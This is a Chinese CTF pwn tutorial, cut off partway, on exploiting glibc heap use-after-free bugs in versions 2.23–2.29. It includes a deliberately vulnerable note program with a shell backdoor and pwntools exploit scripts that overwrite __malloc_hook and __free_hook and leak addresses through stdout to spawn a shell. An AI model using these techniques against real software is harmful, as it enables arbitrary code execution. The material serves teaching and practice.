一般来说UAF都是比较好利用的,尤其是在有tcache的版本下,2.32之前,没有对fd做任何检查,也没有对size做任何检查,那么直接改fd就能想申请哪儿就申请哪儿。但是这里就面临地址的问题,所以高版本下的UAF常常不会给你Show函数,通常结合FSOP来爆破泄露地址。而低版本的,没有tcache的时候,不给show函数会更加困难,因为fastbin attack会检查size位,通常还需要伪造。

这里就2.23~2.32版本的UAF做个总结利用,各个条件的缩减。

一、题目及调试脚本

▲首先给出自己为了方便调试写的题和对应的exp,存在UAF,堆溢出,后门,malloc和calloc切换等多个漏洞,但是去除了Double free参考note题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
//gcc -ggdb note.c -o note
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char* notelist[1000];
int* freelist[1000];

int count = 0;


void backdoor() {
puts("You hacked me!!");
system("/bin/sh");
}

void malloc_add_note(){
int i = count;
char buf[8];
int size;
char* chunk;
printf("Note size :");
read(0, buf, 8);
size = atoi(buf);
chunk = (char *)malloc(size);
if (!chunk)
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, chunk, size);
puts("Success!");
notelist[i] = chunk;
count++;
}

void calloc_add_note(){
int i = count;
char buf[8];
int size;
char* chunk;
printf("Note size :");
read(0, buf, 8);
size = atoi(buf);
chunk = (char *)calloc(0x1,size);
if (!chunk)
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, chunk, size);
puts("Success!");
notelist[i] = chunk;
count++;
}

void del_note()
{
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count)
{
puts("Out of bound!");
return;
}
if (notelist[idx] && (freelist[idx] != idx))
{
free(notelist[idx]);
freelist[idx] = idx;
puts("Success!");
return;
}
else
{
puts("Can not double free!");
return;


}

}

void print_note()
{
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count)
{
puts("Out of bound!");
return;
}
if (notelist[idx])
{
puts(notelist[idx]);
return;
}
}

void edit_note()
{
char buf[8];
int idx;
int size;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count)
{
puts("Out of bound!");
return;
}
printf("Size :");
read(0, buf, 8);
size = atoi(buf);
if (notelist[idx])
{
printf("Content :");
read(0, notelist[idx], size);
puts("Success!");
return;
}
}


void menu() {
puts("----------------------");
puts(" MY NOTE ");
puts("----------------------");
puts(" 1. Malloc Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Edit note ");
puts(" 5. Calloc Add note ");
puts(" 6. Exit ");
puts("--------Author:PIG-007");
printf("Your choice :");
};

int main() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
freelist[0] = 1001;
char* heap_leak = (char*)(malloc(0x438));
printf("Gift_Heap:%p\n",heap_leak);

char* libc_leak = (char*)&printf;
printf("Gift_Libc:%p\n",libc_leak);

char* elf_leak = (char*)&main;
printf("Gift_elf:%p\n",elf_leak);

free(heap_leak);
heap_leak = NULL;
libc_leak = NULL;
elf_leak = NULL;
char buf[4];
while (1) {
menu();
read(0, buf, 4);
switch(atoi(buf))
{
case 1:
malloc_add_note();
break;
case 2:
del_note();
break;
case 3:
print_note();
break;
case 4:
edit_note();
break;
case 5:
calloc_add_note();
break;
case 6:
exit(0);
break;
default:
puts("Invalid choice!");
break;
}
}
return 0;

}

对应exp设置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
# -*- coding:UTF-8 -*-

from pwn import *
#from LibcSearcher import *
import commands
#context.log_level = 'debug'

#context
context.arch = 'amd64'
context.timeout = 0.5
SigreturnFrame(kernel = 'amd64')

binary = "./note"
context.binary = binary
libc = ELF(context.binary.libc.path)
elf = ELF(binary)
largeBinIdx = 1096
unsortedBinIdx = 88



local = 1
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
else:
p = remote("node3.buuoj.cn","49153")
elf = ELF(binary)
libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

def dockerDbg():
myGdb = remote("127.0.0.1",30001)
myGdb.close()
pause()

def dbg():
gdb.attach(p)
pause()

def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def add_malloc(size,content):
p.sendlineafter("Your choice :",'1')
p.sendlineafter('Note size :',str(size))
p.sendafter('Content :',content)

def free(idx):
p.sendlineafter("Your choice :",'2')
p.sendlineafter('Index :',str(idx))

def show(idx):
p.sendlineafter("Your choice :",'3')
p.sendlineafter('Index :',str(idx))

def edit(idx,size,content):
p.sendlineafter("Your choice :",'4')
p.sendlineafter('Index :',str(idx))
p.sendlineafter('Size :',str(size))
p.sendafter('Content :',content)

def add_calloc(size,content):
p.sendlineafter("Your choice :",'5')
p.sendlineafter('Note size :',str(size))
p.sendafter('Content :',content)

def exit():
p.sendlineafter("Your choice :",'6')

def edit_m(idx,size,content):
sleep(0.01)
p.sendline('4')
sleep(0.01)
p.sendline(str(idx))
sleep(0.01)
p.sendline(str(size))
sleep(0.01)
p.send(content)
sleep(0.01)

def free_m(idx):
sleep(0.01)
p.sendline('2')
sleep(0.01)
p.sendline(str(idx))
sleep(0.01)

def add_malloc_m(size,content):
sleep(0.01)
p.sendline('1')
sleep(0.01)
p.sendline(str(size))
sleep(0.01)
p.send(content)
sleep(0.01)

def tcacheDelete(idx):
for i in range(7):
free(i+idx)

def tcacheMalloc(size):
for i in range(7):
add_malloc(size,'\x00')

def leak_heap():
global largeBinIdx
global unsortedBinIdx
ru("Gift_Heap:0x")
LeakHeap = int(rc(12),16)
log.info("LeakHeap:0x%x"%LeakHeap)
path = libc.path
#version = ["2.23","2.27","2.29","2.31","2.32","2.33"]
if("2.23" in path):
heap_base = LeakHeap - 0x10
elif("2.24" in path):
heap_base = LeakHeap - 0x10
elif("2.25" in path):
heap_base = LeakHeap - 0x10
elif("2.26" in path):
heap_base = LeakHeap - 0x250 - 0x10
largeBinIdx = 1104
unsortedBinIdx = 96
elif("2.27" in path):
heap_base = LeakHeap - 0x250 - 0x10
largeBinIdx = 1104
unsortedBinIdx = 96
elif("2.28" in path):
heap_base = LeakHeap - 0x250 - 0x10
largeBinIdx = 1104
unsortedBinIdx = 96
elif("2.29" in path):
heap_base = LeakHeap - 0x250 - 0x10
largeBinIdx = 1104
unsortedBinIdx = 96
elif("2.30" in path):
heap_base = LeakHeap - 0x290 - 0x10
largeBinIdx = 1104
unsortedBinIdx = 96
elif("2.31" in path):
heap_base = LeakHeap - 0x290 - 0x10
largeBinIdx = 1104
unsortedBinIdx = 96
elif("2.32" in path):
heap_base = LeakHeap - 0x290 - 0x10
largeBinIdx = 1104
unsortedBinIdx = 96
elif("2.33" in path):
heap_base = LeakHeap - 0x290 - 0x10
largeBinIdx = 1104
unsortedBinIdx = 96
else:
print("Version Wrong!")
quit()
return heap_base

def leak_elf():
ru("Gift_elf:0x")
Leak = int(rc(12),16)
log.info("LeakElf:0x%x"%Leak)
return Leak

def leak_libc():
ru("Gift_Libc:0x")
Leak = int(rc(12),16)
log.info("LeakLibc:0x%x"%Leak)
return Leak

def getMain_arena(libc_base):
return libc_base+libc.sym['__malloc_hook']+0x10

def getOnegadget():
originStr=commands.getstatusoutput('one_gadget ' + context.binary.libc.path)[1]
print originStr
one_gadget = []
lstKey = []
lengthKey = 0
key = 'execve'
countStr = originStr.count(key)
if countStr < 1:
print('No one_gadget')
elif countStr == 1: #only one one_gadget
indexKey = originStr.find(key)
one_gadget.append(int(originStr[indexKey-8:indexKey-1],16))
return one_gadget
else: #multiple one_gadgey
indexKey = originStr.find(key)
lstKey.append(indexKey)
while countStr > 1:
str_new = originStr[indexKey+1:len(originStr)+1]
indexKey_new = str_new.find(key)
indexKey = indexKey+1 +indexKey_new
lstKey.append(indexKey)
countStr -= 1
for i in range(len(lstKey)):
one_gadget.append(int(originStr[(lstKey[i]-8):lstKey[i]-1],16))
return one_gadget


def pwn():
heap_base = leak_heap()
libc_base = leak_libc() - libc.sym['printf']
elf_base = leak_elf() - elf.sym['main']
log.info("heap_base:0x%x"%heap_base)
log.info("libc_base:0x%x"%libc_base)
log.info("elf_base:0x%x"%elf_base)
add_malloc(0x1000-0x290-0x8,'PIG007NB')



i = 0
while True:
i = i + 1
try:
p = process("./note")
lg("Times:",i)
pwn()
except EOFError:
p.close()
continue
except Exception:
p.close()
continue
else:
p.interactive()
break

二、环境搭建

前言

众所周知,pwn的Glibc环境向来是一个难解题,很多大佬在编译不同版本的Glibc都很头疼,一个不注意就容易出错。像Github上的glibc-all-in-one搭配patchelf

glibc-all-in-one:matrix1001/glibc-all-in-one: 🎁A convenient glibc binary and debug file downloader and source code auto builder (github.com)

patchelf:NixOS/patchelf: A small utility to modify the dynamic linker and RPATH of ELF executables (github.com)

对于很多人来说搞个虚拟机编译环境一个包没装好就容易挂掉,然后就GG,这实在是很浪费生命的一件事情。而patchelf其实有时候也不太顶用,还有Docker里的

pwnDocker:skysider/pwndocker - Docker Image | Docker Hub

其实有时候也感觉不太好用,而且需要依靠作者更新,自己编译也容易出错。但是这倒是激发了我一个想法,为每个Libc版本搭建个docker容器,然后通过映射关系将题目映射进容器中,相当于只需要容器中的libc环境,这样就不需要考虑这些东西了。

项目

经过大量测试,自己写了一个小项目,适合所有Libc版本,只要docker hub中有对应libc版本的ubuntu容器,该容器对应的apt源还有在更新,就能用,跟自己本身环境没啥关系。实测所有版本都行,一键搭建,一键使用:

Github:PIG-007/pwnDockerAll (github.com)

Gitee:PIG-007/pwnDockerAll (gitee.com)

详情看项目里。

三、Glibc2.23

1.UAF + Leak + Size不做限制:

这种情况直接free进unsortedbin泄露地址,然后打fastbin attack,借助0x7f字节错位劫持malloc_hook即可,没啥技术含量。这里再说一些,其实0x56也是可以的,可以借助unsortedbin attack将堆地址写到一个地方然后字节错位也是可以的。

img

0x7f:0111 1111

0x56:0101 0110

主要看的是AM位,加粗的两位,不能刚好是10,检测:

(1)是否属于当前线程的main_arena

(2)是否是mmap出来的chunk的检测

所以按照道理来讲,尾数为4 5 c d四个系列不能通过检测,其他都可以的。而对于堆地址的随机性,0x56和0x55都是可能的,所以也不一定成功,同样需要爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#注释头

one_gadget = getOnegadget()
add_malloc(0x418,'PIG007NB')
add_malloc(0x68,'PIG007NB')
free(1)
show(1)
libc_base = u64Leakbase(88 + libc.sym['main_arena'])
lg("libc_base",libc_base)
free(2)
edit(2,0x8,p64(libc_base + libc.sym['__malloc_hook']-0x23))
add_malloc(0x68,'PIG007NB')

for i in range(len(one_gadget)):
lg("one_gadget["+str(i)+"]",libc_base+one_gadget[i])
add_malloc(0x68,'\x00'*0x13+p64(libc_base+one_gadget[]))
#add_malloc(0x18,'PIG007NB')
p.sendline('1')
p.sendline('1')
p.sendline('1')
p.interactive()

需要注意的是这里由于覆写了_IO_wide_data部分数据,有些数据可能打印不出来,直接一股脑发送信息申请堆块即可。至于one_gadget没办法用的,参照realloc_hook调整栈帧。

2.UAF + Leak + size限制

▲比如说size限制不能申请0x70大小的堆块,那么就没办法字节错位申请malloc_hook的地方。一般来说有以下几种情况:

(1)只能是小Chunk,即0x20~0x80:

泄露heap地址,修改FD,指向上一个chunk来修改size,释放进入unsortedbin后泄露得到libc地址,之后再借用0x7f的UAF字节错位申请即可到malloc_hook即可。

(2)只能是中等的chunk,大于fatsbin小于largebin的,即0x90~0x3f0。

泄露地址后,直接用unsortedbin attack,修改global_max_fast,然后利用fastbinY链在main_arean上留下size,申请过去修改top_chunk为malloc_hook-0x10或者malloc_hook-0x28,修复unsortedbin之后即可任意修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#注释头

one_gadget = getOnegadget()
main_arena = libc.sym['main_arena']
fastbinsY = main_arena + 8
target_addr = main_arena + 80
idx = (target_addr - fastbinsY) / 8
size = idx * 0x10 + 0x20


add_malloc(size-0x8,'PIG007NB')
add_malloc(0x2f8,'PIG007NB')
add_malloc(size+0x10-0x8,'PIG007NB')
add_malloc(0xf8,'PIG007NB')

free(2)
show(2)
libc_base = u64Leakbase(unsortedBinIdx + libc.sym['main_arena'])
lg("libc_base",libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
main_arena = libc_base + libc.sym['main_arena']
target_addr = libc_base+libc.sym['global_max_fast']

edit(2,0x18,p64(0x0)+p64(target_addr-0x10))
add_malloc(0x2f8,'\x00')

free(1)
edit(1,0x8,p64(size+0x10+1))
add_malloc(size-0x8,'PIG007NB')

free(3)
edit(3,0x8,p64(libc_base + libc.sym['main_arena'] + 0x48))
add_malloc(size+0x10-0x8,'PIG007NB')
add_malloc(size+0x10-0x8,p64(malloc_hook-0x28)+p64(0x0)+p64(main_arena+88)*2)
add_malloc(0x98,p64(0x0)*2+p64(libc_base + one_gadget[1])+p64(libc_base+libc.sym['realloc']+8))
p.sendline('1')
p.sendline('1')
p.sendline('1')
it()

这里就利用realloc调整了一下栈帧

(3)只能是大chunk,即0x400~…

泄露地址后,直接用unsortedbin attack,修改global_max_fast,之后利用fastbinY机制可在free_hook附近伪造堆size,然后申请过去修改free_hook为system,释放堆块即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#注释头

main_arena = libc.sym['main_arena']
fastbinsY = main_arena + 8
target_addr_binsY = libc.sym['__free_hook']-0x10
idx = (target_addr_binsY - fastbinsY) / 8
size = idx * 0x10 + 0x20


add_malloc(0x4f8,"\xaa"*0x4f8) #idx1
add_malloc(0x4f8,'/bin/sh\x00') #idx2

add_malloc(size-0x8,'PIG007NB') #idx3
add_malloc(size+0x10-0x8,'PIG007NB') #idx4

free(1)
show(1)
libc_base = u64Leakbase(unsortedBinIdx + libc.sym['main_arena'])
lg("libc_base",libc_base)

target_addr = libc_base+libc.sym['global_max_fast']
log.info("target_addr:0x%x"%target_addr)
#change unsortedBinchunkA
#chunkA.fd could be anything

edit(1,0x4f8,p64(0x0)+p64(target_addr-0x10))
#have to malloc all from unsortedbin
add_malloc(0x4f8,"\xaa"*0x4f8) #idx4
free(3)
edit(3,0x8,p64(size+0x10+1))
add_malloc(size-0x8,'PIG007NB')
free(4)
edit(4,0x8,p64(libc_base + target_addr_binsY -0x8))
add_malloc(size+0x10-0x8,'PIG007NB')
add_malloc(size+0x10-0x8,p64(0x0)+p64(libc_base + libc.sym['system']))
free(2)
it()

(4)只能是某个特定大小的chunk,比如只能是0x40,0x60,一般不会只能是一个大小的,不然基本无法利用。

泄露地址heap地址后,修改size位进入unsortedbin中,再泄露libc地址。由于无法0x56和0x7f字节错位利用,所以只能利用一个size的bin,释放之后在fastbinY中留下size,然后另一个size申请过去,修改top_chunk到malloc_hook处即可,之后类似。

详情参照CISCN东北赛区复现中的题目small_chunk。

3.UAF + 无Leak + Size不做限制

▲无Leak通常需要爆破,同样用unsortedbin attack部分写unsortedbin中chunk的bk指针,修改global_max_fast,之后利用fastbinY机制劫持_IO_2_1_stdout_结构体,泄露出地址,然后就和之前一样,再利用fastbinY机制劫持free_hook即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#注释头

def pwn():
#one_gadget = getOnegadget()
heap_base = leak_heap()
libc_base = leak_libc() - libc.sym['printf']
elf_base = leak_elf() - elf.sym['main']
log.info("heap_base:0x%x"%heap_base)
log.info("libc_base:0x%x"%libc_base)
log.info("elf_base:0x%x"%elf_base)

add_malloc(0x1000-0x8,'PIG007NB')

#prepare data-----------------------------------------------------------
guess_libc = 0x9000
guess_heap = 0x2000
fastbinsY = guess_libc + libc.sym['main_arena'] + 8
_IO_read_end = guess_libc + libc.sym['_IO_2_1_stdout_'] + 0x10
_IO_write_base = guess_libc + libc.sym['_IO_2_1_stdout_'] + 0x20
_IO_write_ptr = guess_libc + libc.sym['_IO_2_1_stdout_'] + 0x28
_IO_write_end = guess_libc + libc.sym['_IO_2_1_stdout_'] + 0x30

idx_read_end = (_IO_read_end - fastbinsY) / 8
size_read_end = idx_read_end * 0x10 + 0x20

idx_write_base = (_IO_write_base - fastbinsY) / 8
size_write_base = idx_write_base * 0x10 + 0x20

idx_write_ptr = (_IO_write_ptr - fastbinsY) / 8
size_write_ptr = idx_write_ptr * 0x10 + 0x20

idx_write_end = (_IO_write_end - fastbinsY) / 8
size_write_end = idx_write_end * 0x10 + 0x20

target_addr_gMF = guess_libc + libc.sym['global_max_fast']

fastbinsY = libc.sym['main_arena'] + 8
target_addr_binsY = libc.sym['__free_hook']-0x10
idx_free_hook = (target_addr_binsY - fastbinsY) / 8
size_free_hook = idx_free_hook * 0x10 + 0x20

#read_end-------------------------------------------------------------
add_malloc(0x38,"\x00"*0x38) #idx 0x1
add_malloc(0x38,"\x00"*0x38) #idx 0x2 point free read_end
add_malloc(0x38,"\x03"*0x38) #idx 0x3
add_malloc(0x38,'\x04'*0x18+p64(0x21)+'\x04'*0x18) #idx 0x4

free(0x1)
#free(2)
free(0x3)
edit(0x3,0x1,'\x20')
edit(0x1,0x20,p64(0x0)*3+p64(0x41))

add_malloc(0x38,'\x05'*0x18+p64(0x21)+'\x05'*0x18) #idx 0x5
add_malloc(0x38,'\x06'*0x18) #idx 0x6 #point change size
#---------------------------------------------------------------------


#write_end can not be so far from wirte_base
add_malloc(size_write_end-0x8,(p64(0x0)+p64(0x21))*((size_write_end-0x10)/0x10)) #idx 0x7
add_malloc(size_write_ptr-0x8,(p64(0x0)+p64(0x21))*((size_write_ptr-0x10)/0x10)) #idx 0x8


#write_base-----------------------------------------------------------
add_malloc(0x38,"\x00"*0x38) #idx 0x9
add_malloc(0x38,"\xaa"*0x38) #idx 0xa
add_malloc(0x38,"\x0b"*0x38) #idx 0xb
add_malloc(0x38,'\x0c'*0x18+p64(0x21)+'\xaa'*0x18) #idx 0xc

free(0x9)
#free(2)
free(0xb)
edit(0xb,0x2,p16((guess_heap+0x1000+0x40)&0xffff))
edit(0x9,0x20,p64(0x0)*3+p64(0x41))

add_malloc(0x38,'\x0d'*0x18+p64(0x21)+'\x05'*0x18) #idx 0xd
add_malloc(0x38,'\x0e'*0x18) #idx 0xe #point free
#---------------------------------------------------------------------



#prepare for free_hook
add_malloc(size_free_hook-0x8,'PIG007NB') #idxf
add_malloc(size_free_hook+0x10-0x8,'PIG007NB') #idx10


#unsortedbin attack
add_malloc(0x4f8,'\x11'*0x4f8) #idx 0x11
add_malloc(0x38,'\x12'*0x38) #idx 0x12
free(0x11)
edit(0x11,0x8+0x2,p64(0x0)+p16((target_addr_gMF&0xffff)-0x10))
add_malloc(0x4f8,'/bin/sh\x00') #idx 0x13



#change write_base
edit_m(0x6,0x20,p64(0x0)*3+p64(size_write_base+1))
free_m(0xe)


#change write_end and write_ptr
free_m(0x7)
free_m(0x8)


#change read_end
edit_m(0x6,0x20,p64(0x0)*3+p64(size_read_end+1))
free_m(0x2)

libc_base = u64Leakbase(libc.sym['_IO_2_1_stdout_']+131)
lg("libc_base",libc_base)

#write free_hook - 0x10
free(0xf)

#left size
edit(0xf,0x8,p64(size_free_hook+0x10+1))
add_malloc(size_free_hook-0x8,'PIG007NB')

#get free_hook - 0x8
free(0x10)
edit(0x10,0x8,p64(libc_base + target_addr_binsY -0x8))
add_malloc(size_free_hook+0x10-0x8,'PIG007NB')
add_malloc(size_free_hook+0x10-0x8,p64(0x0)+p64(libc_base + libc.sym['system']))

#get shell
free(0x13)
it()





i = 0
while True:
i = i + 1
try:
p = process("./note")
lg("Times:",i)
pwn()
except EOFError:
p.close()
continue
else:
p.interactive()
break

▲通常需要注意的是,write_base和write_end不能相距太远,不然很容易数据量过大而崩溃。还有这里最后泄露地址是

libc_base = u64Leakbase(libc.sym[‘IO_2_1_stdout‘]+131)

这是因为IO流的机制,会在写入数据的0x10处上写下libc.sym[‘IO_2_1_stdout‘]+131的地址,所以这里直接就能泄露。

▲题外话:爆破的数学期望为1/256

img

4.UAF + 无Leak + Size做限制

▲同样size做限制一般也分为以下几种

(1)只能是小Chunk,即0x20~0x80:

这个也是一样的,利用UAF部分写入heap_addr制造堆块重叠,修改size域,放入unsortedbin,然后部分写入libc_addr打unsortedbin attack修改global_max_fast,之后就类似了,劫持_IO_2_1_stdout泄露地址,fastbinY机制劫持main_arena,修复unsortedbin后改top_chunk劫持malloc_hook即可。

(2)只能是中等的chunk,大于fatsbin小于largebin的,即0x90~0x3f0。

类似,部分写修改size域打unsortedbin attack,修改global_max_fast,劫持_IO_2_1_stdout泄露地址。fastbinY机制劫持free_hook。

(3)只能是大chunk,即0x400~…

直接用部分写libc_addr打unsortedbin attack,修改global_max_fast,劫持_IO_2_1_stdout泄露地址,之后利用fastbinY机制可在free_hook附近伪造堆size,然后申请过去修改free_hook为system,释放堆块即可。

(4)指定的chunk size。

▲其实对于UAF来说,size做没做限制都差不了太多,因为都可以部分写堆块地址制造堆重叠,然后就能修改size域,唯一区分的就是申请时候的限制,小的就打top_chunk,大的就直接打_free_hook。比较有意思的一点就是限制特定size,一般限制为两个,以前遇到0x20和0x30,也有0x40和0x50的,都是大同小异,借用fastbinY机制留下size后申请过去即可。

四、Glibc2.27

UAF在这个版本下对于tcache实在是好用,由于tcache不检查size位,也不检查FD,只要泄露了地址,加上UAF就能实现任意申请。而对于无show功能的,既可以借助unsortedbin踩下地址后爆破直接申请,也可以unsortedbin attack劫持global_fast_max之后再劫持IO_2_1_stdout结构泄露地址。

1.Sashing机制带来的改变

(1)加入的检查判断:

需要注意的一点是,由于加入了tcache的stahing机制,所以在从fastbin中申请时会有一个判断:

这个在2.26开始就存在的,只不过可能代码不太一样,所以有tcache的地方,fastbin修改fd从而在main_arena上留下fd的功能就无法使用了)

Snipaste_2021-08-19_21-32-57

由于tcache的stashing机制,如果从fastbin中取chunk,那么如果该大小的fastbin链中还有其他chunk,则会尝试将该大小的fastbin链中剩余的chunk都放入对应大小的tcache中,那么就会出现如上的对fastbin中的fd进行取出检查,这里我设置了fastbin中Chunk的fd为0x71,即rdx的值,导致出错。

1
2
3
4
5
//注释头

*fb = tc_victim->fd;

mov rax, qword ptr [rdx + 0x10]

这个代码以及汇编赋值,使得[rdx+0x10],即取0x71的fd指针,那肯定会出错。同样的,如果修改fastbin中chunk的fd也不再是简单地伪造size了,还需要考虑对应FD的fd指针有效性。

(2)对抗利用:

①have_fastchunks:

虽然FD不能留下伪造地址,但是可以释放一个chunk进入fastbin,将main_arena.have_fastchunks置1,之后利用main_arena.have_fastchunks留下的0x1在上面来申请0x100的字节错位,但是这个需要先修改global_max_fast才能申请0x100的fastbinChunk。

Snipaste_2021-08-27_14-48-12

④top_chunk:

此外,借用爆破chunk地址,将top_chunk的0x56当作合法size也是可以的。

Snipaste_2021-08-27_14-42-24

但是其实也没差,既然有tcache,那我还用fastbin申请干啥,直接tcache获得地址之后任意申请不就完了,除非全是calloc,但这种情况其实还有更方便的解法,即house of banana。所以要是碰到2.27版本的,简直就是烧高香了。

2.Glibc2.27Tcache题外话:

现今版本,2020年09月10日开始,从2.27-3ubuntu1.3开始,就已经对tcache做了部分修改,很接近2.29的,而现在的题目基本都是基于这种增强型版本的,已经不存在double free了。

Glibc 2.27关于Tcache的增强保护 - 安全客,安全资讯平台 (anquanke.com)

新增如下:

(1)Key字段新增:

1
2
3
4
5
6
7
8
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;

同样的对应tcache_put会加入key字段,tcache_get中会清除key字段,_int_free函数会根据key字段判断double free。

这里讲个小技巧,如果发现题目的libc.so版本在2.27-3ubuntu1.3之下,那么就没有key字段,存在无限制的double free,直接搞定。而常规的2.28版本其实也还存在double free,查看_int_free相关源码即可发现。

具体利用和绕过后面讲。

(2)Tcache数量限制

1
#define MAX_TCACHE_COUNT 127    /* Maximum value of counts[] entries.  */

这个没发现有啥用,传统的只有2.30开始才用到了这个,低版本连定义都没有,除了这个增强型的2.27

1
2
3
4
5
6
7
8
9
10
11
//2.30

do_set_tcache_count (size_t value)
{
if (value <= MAX_TCACHE_COUNT)
{
LIBC_PROBE (memory_tunable_tcache_count, 2, value, mp_.tcache_count);
mp_.tcache_count = value;
}
return 1;
}

这就很迷惑,通常定义的tcache_count是7,而这里却要求小于MAX_TCACHE_COUNT(127),是因为GNU的其他功能可能会改变tcache的结构吗,比如将tcache_count修改为127,扩大tcache来使用吗,等待大佬发现漏洞。

另外该文章中还说了realloc对应memcpy的使用修改,感觉没啥用。

总的来说,其实就相当于将2.27的tcache增强成了2.29,其他的到没啥变化。

五、Glibc2.29

1.部分手段失效

(1)unsortedbin attack失效

这个版本下的unsortedbin attck已经失效,原因是新增如下检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
#注释头

mchunkptr next = chunk_at_offset (victim, size);
if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
malloc_printerr ("malloc(): invalid next size (unsorted)");
if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
if (__glibc_unlikely (bck->fd != victim)
|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))
malloc_printerr ("malloc(): unsorted double linked list corrupted");
if (__glibc_unlikely (prev_inuse (next)))
malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

①下一个chunk的size是否在合理区间

②下一个chunk的prevsize是否等于victim的size

③检查unsortedbin双向链表的完整性

④下一个chunk的previnuse标志位是否为0

其实最要命的是检查双向链表的完整性,还得在目的地址的fd伪造victim,都能伪造地址了还用这,所以直接废弃。Tcache_Stashing_Unlink_Attack来类似代替unsortedbin attack,不过Tcache_Stashing_Unlink_Attack一般需要用到calloc,如果有UAF泄露地址的话倒是不太需要。

(2)top_chunk改写限制

新增检查:

1
2
3
4
#注释头

if (__glibc_unlikely (size > av->system_mem)) //0x21000
malloc_printerr ("malloc(): corrupted top size");

即size需要小于等于system_mems = 0x21000。之前由top_chunk引发的一系列漏洞,类似House of orange,

House of Force以及之前提到的修改top_chunk到malloc_hook附近等,都不太行了。

(3)unlink方面一些限制

新增检查:

1
2
3
4
#注释头

if(__glibc_unlikely (chunksize(p) != prevsize)) *//new*
malloc_printerr ("corrupted size vs. prev_size while consolidating");

即会判断找到的之前为Free状态的chunk和当前要释放chunk的prevsize是否相等

这个对于UAF方面来说没啥影响,因为UAF本身就基本直接造成堆块重叠,而unlink通常就是结合off-by-null来制造堆块重叠的。off-by-null和off-by-one之后开一个专门的来讨论。

(4)tcache方面的变化

①新增key字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#注释头

